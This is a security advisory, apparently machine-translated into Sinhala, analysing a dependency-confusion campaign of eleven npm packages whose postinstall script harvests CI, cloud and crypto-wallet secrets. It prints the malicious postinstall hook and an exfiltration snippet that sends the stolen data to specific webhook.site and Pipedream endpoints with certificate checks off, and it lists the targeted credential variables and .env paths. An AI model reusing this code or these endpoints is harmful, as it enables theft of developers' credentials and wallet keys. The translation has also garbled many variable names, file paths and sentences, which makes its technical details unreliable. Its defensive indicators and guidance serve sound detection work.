TL; ඩී
2026-06-17 දින, තනි npm ගිණුමක් ප්රකාශයට පත් කරන ලදී. එක් අරමුණක් සහ එක් බරක් බෙදා ගන්නා පැකේජ එකොළහක්. ඔවුන්ගෙන් දහ දෙනෙක් රැගෙන යන්නේ cryptodao- උපසර්ගය (cryptodao-core, -sdk, -bot, -config, -backend, -signer, -utils, -deploy, -contracts, -types); එකොළොස්වැන්න විෂය පථයයි @public-for-cdao/core. සෑම එකක්ම අනුවාදයේ ප්රකාශයට පත් කරන ලදී 99.99.99 සහ බයිට්-සමාන නැව්ගත කරයි recon.js එය ක්රියාත්මක වේ postinstall.
නම් තමයි කතාව. ඒවා කියවෙන්නේ ක්රිප්ටෝ/ඩීඒඕ ව්යාපෘතියක පුද්ගලික මෙවලම් දාමයක අභ්යන්තර ගොඩනැඟිලි කොටස් වගේ. කෘතිමව ඉහළ අනුවාදයකින් මහජන එන්පීඑම් රෙජිස්ට්රියට ප්රකාශයට පත් කර ඇති ඔවුන් ගොඩනැගීමක් සඳහා රැඳී සිටිති. pipeline එය එම නම් විසඳීමට වින්යාස කර ඇති අතර එය පුද්ගලික රෙජිස්ට්රියට පෙර — හෝ ඒ වෙනුවට — පොදු npm වෙත ළඟා වේ. මෙය යැපීම් ව්යාකූලත්වය, සහ ගෙවීමේ බර එය ගොඩබෑමට අපේක්ෂා කරන ස්ථානයට හරියටම සුසර කර ඇත: CI/CD අනුශූරතාව.
කවදා ද postinstall ගිනි, recon.js සත්කාරක තොරතුරු රැස් කරයි, දළ වශයෙන් අතුගා දමයි වලාකුළු හතළිහක්, CI, සහ ක්රිප්ටෝ-පසුම්බි පරිසර විචල්යයන්, ඕනෑම දෙයක් කියවනවා .env එයට රහස්-දරණ රේඛා වචනාර්ථයෙන් සොයා ගෙන ඉදිරියට යැවිය හැකි ගොනු, පසුව මිටිය එකතුකරන්නන් දෙදෙනෙකුට සම්ප්රේෂණය කරයි — webhook.site සහ Pipedream අන්ත ලක්ෂ්යයක් — TLS සහතික සත්යාපනය අක්රිය කර ඇත. පිටපතක් ද යටතේ ලියා ඇත /tmp.
තීව්රතාව: ඉහළබලපෑමට ලක් වූ පරිසර පද්ධතිය: npm. ලියන අවස්ථාව වන විට පැකේජ එකොළහම සජීවීව තිබුණි.
ප්රහාර ව්යුහ විද්යාව
යාන්ත්රණයට චලනය වන කොටස් හතරක් ඇති අතර, ඔබ එය දැනගත් පසු ඒවා කිසිවක් සියුම් නොවේ. පැකේජයේ නමට එහායින් එක ස්ථරයක් බලන්න.
1. විසඳුම් ආකර්ෂණයක් ලෙස අනුවාද උද්ධමනය. සෑම පැකේජයක්ම අනුවාදය ප්රකාශ කරයි 99.99.99. පැකේජ කළමනාකරුවෙකුගෙන් ඉල්ලා සිටි විට යැපුම් ව්යාකූලත්වය ක්රියාත්මක වේ, අභ්යන්තර නම, පොදු ලේඛනය ද පරීක්ෂා කර ඉහළම අනුවාදය තෝරා ගනී සොයා ගනී. කැරට් හෝ වයිල්ඩ්කාඩ් පරාසයක් සඳහා npm හි පෙරනිමි තේරීම වන්නේ සෑම වින්යාස කරන ලද මූලාශ්රයක් හරහාම ඉහළම තෘප්තිමත් අනුවාදය; දෙකම පුද්ගලික නම් එකම නම සඳහා registry සහ public npm පිළිතුර නම්, විශාල අනුවාද අංකය ජය ගනී. A 99.99.99 ව්යාපෘතියක ඇති ඕනෑම සැබෑ අභ්යන්තර අනුවාදයක් මූලික වශයෙන් අභිබවා යයි. ළඟා වී ඇත, එබැවින් පුද්ගලික මූලාශ්රයට සම්බන්ධ කර නොමැති විසදුමක් කැමති වේ පොදු — සහ මෙම අවස්ථාවේදී, සතුරු — පිටපත. ක්රියාකරුට දැන ගැනීමට අවශ්ය නොවේ ඉලක්කයේ සැබෑ අනුවාද අංක; විකාර උපරිමයක් තෝරා ගැනීම සැමවිටම සම බව සහතික කරයි ඔවුන්ගේ මාර්ගය බිඳ දමයි.
2. පශ්චාත් ස්ථාපන ප්රේරකයක්. පැකේජය ස්ථාපනයට ගෙවීමේ බර වයර් කරයි ජීවන චක්රය:
{ "scripts": { "postinstall": "node recon.js" } }පැකේජය ආයාත කිරීම අවශ්ය නොවේ. එය ස්ථාපනය කිරීම පමණි - එය CI වේ pipeline ස්වයංක්රීයව සිදු කරයි — ධාවනය වේ recon.js.
3. පුළුල් රහස් ගවේෂණයක්. recon.js ප්රතිඵල පෙළක් අදියර වශයෙන් එකලස් කරයි:
- සත්කාරක සන්දර්භය: සත්කාරක නාමය, වේදිකාව සහ නිකුතුව, ගෘහ නිර්මාණ ශිල්පය, පරිශීලක නාමය, ක්රියා කිරීම නාමාවලිය.
- පරිසර විචල්යයන්: එය නම් සහ වාර්තා හතළිහක පමණ ස්ථාවර ලැයිස්තුවක් පුනරාවර්තනය කරයි. සකසා ඇති ඕනෑම දෙයක්. ලැයිස්තුව හෙළිදරව් කරයි - එය සාමාන්ය CI ටෝකන යුගල කරයි (CI_JOB_ටෝකන්, CI_රෙජිස්ට්රි_මුරපදය, GITLAB_ACCESS_TOKEN) සහ වලාකුළු අක්තපත්ර (AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, AWS_සැසිය_ටෝකන්) රෙජිස්ට්රි සහ බහාලුම් රහස් සමඟ (NPM_TOKEN, ඩොකර්_මුරපදය, හාබර්_මුරපදය) සහ පැහැදිලිවම ගුප්ත-රසැති පොකුරක්: පුද්ගලික_මූලික, සිහිවටන, බීජ_වචනාර්ථය, ඉන්ෆුරා_ඒපීඅයි_කේ, ඇල්කෙමි_ඒපී_කේ, ETH_RPC විසින් තවත්, බීඑස්සී_ආර්පීසී. පටිගත කරන ලද අගයන් පළමු අක්ෂර 50 දක්වා කපා ඇත.
- .env ගොනු: එය මාර්ග ලැයිස්තුවක් පරීක්ෂා කරයි — .env, ../.env (ඉංග්රීසි බසින්), /යෙදුම/.env, /යෙදුම/පසුපස/.env, /ඇප්/බොට්/.env, /home/gitlab-runner/.env, /රූට්/.env, සහ .නිෂ්පාදනය/.සංවර්ධනය ප්රභේද — සහ පවතින ඕනෑම ගොනුවක් සඳහා, එය අන්තර්ගතය ගැලපෙන රේඛා වලට පෙරහන් කරයි යතුර|රහස|ටෝකනය|පාස්|පෞද්ගලික|මතකය සහ එම රේඛා **සම්පූර්ණයෙන්ම, කප්පාදු නොකළ** ප්රතිඵලවලට තල්ලු කරයි.
- ගොඩනැගීමේ-ධාරක සන්දර්භය: එය පළමු ඇතුළත් කිරීම් 20 ලැයිස්තුගත කරයි /ගොඩනැගිලි/, /නිවස/gitlab-runner/builds/, /var/lib/gitlab-runner/, සහ /tmp/.
මාර්ග ලැයිස්තුව සහ විචල්ය ලැයිස්තුව GitLab ධාවකයන් දෙසට බර කර ඇති අතර, එය යොමු කරන්නේ සංවර්ධකයෙකුට වඩා ස්වයං-සත්කාරක CI යටිතල පහසුකම්වල ගෙවීම් ප්රමාණය ලැප්ටොප්. අස්වනු ලැයිස්තුව කාණ්ඩ අනුව කාණ්ඩගත කිරීමෙන් අපේක්ෂිත තොගය පැහැදිලි වේ:
සාමාන්ය CI-රහසකින් මෙය වෙන්කර හඳුනා ගන්නා කොටස ක්රිප්ටෝ පොකුරයි. අතුගා දැමීම: මුදල් පසුම්බියේ බීජ වාක්ය ඛණ්ඩ සහ අත්සන් කිරීමේ යතුරු දිස්වන්නේ පරිසරයක පමණි blockchain ව්යාපෘතිය, සහ ඔවුන් කෙලින්ම සිතියම් ගත කරයි ක්රිප්ටෝඩාඕ-/ලකුණක්/ගිවිසුම් වාහකයන් නම් කිරීම.
4. සත්යාපනය අබල කර ඇති ද්විත්ව පිටකිරීම. එකතු කරන ලද අරාව වන්නේ අනුක්රමික කර ගමනාන්ත දෙකකට තැපැල් කරන ලදී:
const targets = [ { host: 'webhook.site', path: '/d6d18927-e513-4df7-b019-58bfc64fe0dd', method: 'POST' }, { host: 'enqoojbegdvxj.x.pipedream.net', path: '/', method: 'POST' }, ]; // ... https.request({ ..., rejectUnauthorized: false, timeout: 5000 })ප්රතික්ෂේප කරන්න අනවසර: අසත්ය පිටතට යන අය සඳහා TLS සහතික පරීක්ෂාවන් අක්රිය කරයි ඇමතුම්. එකම දත්ත stdout වෙත මුද්රණය කෙරේ (එබැවින් එය CI රැකියා ලොග් වලද වැටේ) සහ ලියා ඇත්තේ /tmp/.npm_recon_ කර්තෘ: .ජේසන්. දෝෂ නිහඬව ගිල දමනු ලැබේ, එබැවින් අසාර්ථක යැවීම ස්ථාපන ප්රතිදානයේ එක සලකුණකට වඩා කිසිදු සලකුණක් ඉතිරි නොකරයි. [නැවත සකස් කරන්න] ස්ථාපනය කර ඇත රේඛාව.
ගොනුවේ ප්රමුඛ අදහසක් එය විස්තර කරන්නේ “යැපීම් ව්යාකූලත්වයක්” ලෙසයි. "පරිසර අගයන් අක්ෂර 50 දක්වා කප්පාදු කිරීම සංකල්පයක් සනාථ කරන ආකාරය. පැවැත්මට පමණක් ඇති ප්රදීපාගාරයක් පසුකර යන දෙය නම් .env හැසිරවීම: රහස්-දරණ රේඛා සම්පූර්ණයෙන්ම යොමු කරනු ලැබේ, සහ ගමනාන්ත ප්රහාරකයා විසින් පාලනය කරන ලද එකතුකරන්නන් දෙදෙනෙකු පමණක් ගණන් ගන්නා සින්ක් එකක් නොව, ක්රියා කරයි. පහර.
කාල නියමය
ප්රකාශන රටාව යනු එකොළහක් නොව තනි ස්ක්රිප්ට් කරන ලද තල්ලුවක අත්සනයි. ස්වාධීන උඩුගත කිරීම්.
තත්පර 29 ක කවුළුවක් තුළ පැකේජ දහයක් පිටතට ගියේය, දළ වශයෙන් සෑම තත්පර තුනකට වරක් එකක්. විෂය පථය @public-for-cdao/core මිනිත්තු 24 කට පමණ පසු - තත්පරයකට පසුව පරිභෝජන ව්යාපෘතිය යොමු දක්වන්නේ නම්, එකම ඉලක්කය සඳහා නම් කිරීමේ සම්මුතිය හිස් නම් ලෙස නොව විෂය පථයක් යටතේ අභ්යන්තර මෙවලම් දාමය.
සම්මුති දර්ශක
ආරෝපණය සහ නිරීක්ෂණය කළ හැසිරීම
පොකුර පිළිබඳ සෑම දෙයක්ම එක් අතකට යොමු වේ. සියලුම පැකේජ එකොළහ ප්රකාශයට පත් කරන ලදී. npm ගිණුම මගින් අදුල්ජුන් (aduljune@proton.me, තහවුරු නොකළ ලිපිනයක් සහිත අංකයක් සම්බන්ධිත මූලාශ්ර ගබඩාව), මිනිත්තු 25 ක කාලයක් තුළ, ඒ සමඟම 99.99.99 පිටපත, නැව්ගත කිරීම recon.js එහි අන්තර්ගතයන් සෑම එකක් හරහාම බයිට්-බයිට්-සමාන වේ පැකේජය (MD5 උපුටා ගත් පිටපත් එකොළහටම ගැලපේ). එය එක් ගෙවීමකි. ස්වාධීන කේත නැවත භාවිතා කිරීම නොව, නම් ලැයිස්තුවකට මුද්රා තබා ඇත.
නම් ලැයිස්තුව අපේක්ෂිත ඉලක්කය නිර්වචනය කරයි. ක්රිප්ටෝඩාඕ-* සහ cdao විස්තර කරන්න ක්රිප්ටෝ/ඩීඒඕ ව්යාපෘතියක පුද්ගලික මොඩියුල පිරිසැලසුම සහ බර පැටවීමේ අස්වැන්න ලැයිස්තුව අනුමාන කරන දර්පණ: සාමාන්ය CI සහ වලාකුළු රහස් සමඟ, එය විශේෂයෙන් ළඟා වේ පුද්ගලික_මූලික, සිහිවටන, බීජ_වචනාර්ථය, සහ එතෙරියම්/බීඑස්සී ආර්පීසී සහ සැපයුම්කරු යතුරු. .env සෙවුම් මාර්ග සහ නාමාවලි ලැයිස්තුගත කිරීම් GitLab-ධාවනය කරන්නා වේ. නිශ්චිතයි. නිරීක්ෂණය කළ හැකි බලපෑම නම් ඕනෑම pipeline මේවා ස්ථාපනය කිරීමට රවටා ඇත නම් එහි CI ටෝකන, වලාකුළු යතුරු සහ තැටිය මත යොමු කරනු ඇත .env රහස් — සහ, සඳහා බ්ලොක්චේන් ව්යාපෘතියක්, එහි මුදල් පසුම්බි ද්රව්ය - තෙවන පාර්ශවීය එකතුකරන්නන් දෙදෙනෙකුට.
ගිණුම ක්රියාත්මක කරන්නේ කවුරුන්ද යන්න හෝ ඔවුන් ගිණුම සමඟ කිරීමට සැලසුම් කළේ කුමක්ද යන්න පිළිබඳව අපි කිසිදු හිමිකම් පෑමක් නොකරමු. දත්ත. තනිවම පවතින කරුණු: නම් නිශ්චිත වර්ගයක් ඉලක්ක කරයි අභ්යන්තර මෙවලම් දාමය, ගෙවීම් භාරය සැබෑ රහස් අගයන් කියවා සම්ප්රේෂණය කරයි, සහ යටිතල පහසුකම් සජීවී විය.
බලපෑම, ප්රවණතා සහ ආරක්ෂක මග පෙන්වීම
යැපුම් ව්යාකූලත්වය එය ඵලදායීව පවතින්නේ එය විසඳන්නා හැසිරීම සූරාකන නිසා මිස a නොවේ ඕනෑම පැකේජයක අවදානමක්. මෙහි වාහකය සුළුපටු නොවේ - එකොළහක් හිස් ය පැකේජ - නමුත් පිපිරුම් අරය කුමක් වුවත් pipeline වැරදියට public npm වලට කැමතියි අභ්යන්තර නමක් සඳහා. එය සිදුවීමට ඇති නරකම ස්ථානය CI ධාවකයන් ය: ඔවුන් දරයි හරියටම ටෝකන් සහ .env මෙම ගෙවීමේ බර ගොනු කියවන අතර ඒවා ස්ථාපනය වේ අන්තර්ක්රියාකාරී නොවන පරායත්තතා, එබැවින් a පශ්චාත් ස්ථාපනය කිසිවෙකු නොබලා දුවයි.
මෙම පොකුර අප නිරන්තරයෙන් දකින රටාවකට ද ගැලපේ: ඉදිරිපත් කරන ස්ථාපන-කාල ගෙවීම් සැබෑ අක්තපත්ර එකතු කිරීමේදී "පර්යේෂණ" හෝ "ඔත්තු බැලීම" ලෙස. ලේබලය ගොනුවේ කේතය ධාවකයක කරන දේ වෙනස් නොවේ. නිර්මාණ තේරීම් දෙකක් තබා ගනී. ක්රියාකාරකම නිහඬයි: සෑම ජාලයක්ම සහ ගොනු පද්ධති මෙහෙයුමක්ම ඔතා ඇත දෝෂ ඉවතලන ව්යතිරේක හසුරුවන්නා, එබැවින් අවහිර කළ යැවීමක් හෝ නැතිවූ ගොනුවක් රෝග විනිශ්චය ප්රතිදානයක් නිපදවන්නේ නැත, සහ මුද්රණය කර ඇති එකම දෙය අහිංසක එකක් පමණි [recon] … ස්ථාපනය කර ඇත සාමාන්ය ස්ථාපන කතාබහට මිශ්ර වන රේඛාව. භාවිතය වෙබ්හුක්.අඩවිය සහ Pipedream ද හිතාමතාම පහසුවකි - දෙකම නොමිලේ, ක්ෂණිකව සපයනු ලබන ඉල්ලීම්-ග්රහණ සේවා, එබැවින් ක්රියාකරුට සේවාදායකයන් අවශ්ය නොවේ පිටවීමේ ලොග් වල ඔවුන්ගේම සහ ගමනාන්ත සාමාන්ය SaaS සත්කාරක නාම මෙන් පෙනේ.
මෙය ආරක්ෂකයෙකුගේ අවධානයට ලක්වීම වටිනවා වන්නේ ආර්ථික විද්යාව නිසා වුවද වාහක කේතය සුළුපටු නොවේ. නම් එකොළහක් ලියාපදිංචි කිරීම සඳහා කිසිදු වියදමක් දැරීමට සිදු නොවේ, බර පැටවීම එකකි ගොනුව එකොළොස් වතාවක් පිටපත් කරන ලද අතර, පැකේජ කළමනාකරු සියලු ක්රියාත්මක කිරීම් සිදු කරයි. තනි වැරදි ලෙස වින්යාස කර ඇත pipeline මෙම නම් වලින් එකක් පරිභෝජනය කරන ඕනෑම තැනක මුළු මුදලම ගෙවයි මෙහෙයුම්.
ආරක්ෂකයින් සඳහා නිශ්චිත පියවර:
- ඔබගේ පුද්ගලික ලේඛනයට අභ්යන්තර විෂය පථ අමුණන්න. npm වින්යාස කරන්න එවිට අභ්යන්තර නම්
සහ විෂය පථ නිරාකරණය වන්නේ ඔබගේ ලේඛනයට එරෙහිව පමණි (scoped .npmrc ලේඛන සිතියම්ගත කිරීම්, හෝ හිමිකාරී නාම අවකාශයන් සඳහා කිසිදා පොදු npm වෙත නොපැමිණෙන ප්රොක්සියක්). වෙනත් කිසිවෙකුට ඒවා ලියාපදිංචි කළ නොහැකි වන පරිදි ඔබේ පොදු විෂය පථ නාම වෙන් කර ගන්න.
- Commit lockfiles සහ –ignore-scripts සමඟ ස්ථාපනය කරන්න CI හි හැකි නම්, හෝ ස්ථාපන ස්ක්රිප්ට් සැබවින්ම අවශ්ය වන කුඩා පරායත්තතා කට්ටලය පරීක්ෂා කරන්න. recon.js ක්රියාත්මක විය නොහැක නම් පශ්චාත් ස්ථාපනය ක්රියාත්මක නොකෙරේ.
- අභ්යන්තර පෙනුමක් ඇති නමක 99.99.99 (හෝ වෙනත් විකාර සහගත ලෙස ඉහළ) අනුවාදයක් සලකන්න. රතු කොඩියක් ලෙස යැපුම් සමාලෝචනය සහ රෙජිස්ට්රි අධීක්ෂණයේදී.
- ස්ථාපන වේලාවෙන් පිටවීම පිළිබඳ අනතුරු ඇඟවීම. A පශ්චාත් ස්ථාපනය එය පිටතට යන HTTPS එකක් විවෘත කරයි සම්බන්ධතාවය — විශේෂයෙන් සහතික සත්යාපනය අක්රිය කර ඇති විට — වෙත webhook.site, Pipedream, හෝ ඒ හා සමාන ඉල්ලීම්-ග්රහණ සේවා ජාල කෙළවරේ අවහිර කර ගොඩනැගීමේ ලොග් වල සලකුණු කිරීම වටී.
- කෞතුක වස්තු සඳහා දඩයම් කරන්න. ධාවකයන් පරීක්ෂා කරන්න /tmp/.npm_recon_*.json (ජේසන්) සහ [recon] … මෑත කාලීන CI ලොග් වල … සලකුණු කාරකය මත ස්ථාපනය කර ඇත. හමු වුවහොත්, සෑම එකක්ම කරකවන්න එයට නිරාවරණය වූ සහතිකය pipeline — CI ටෝකන, වලාකුළු යතුරු, රෙජිස්ට්රි ටෝකන, සහ පරිසරයේ හෝ .env ගොනු වල ඇති ඕනෑම පසුම්බි බීජ හෝ පුද්ගලික යතුරු.
ආශ්රිත
මෙම ලිපිය ලියන අවස්ථාව වන විට මෙම පොකුර පිළිබඳ බාහිර වාර්තාකරණයක් නොතිබුණි; විශ්ලේෂණය ඉහත සඳහන් කර ඇත්තේ ප්රකාශිත පැකේජ අන්තර්ගතය මත කෙලින්ම පදනම් වූවකි.
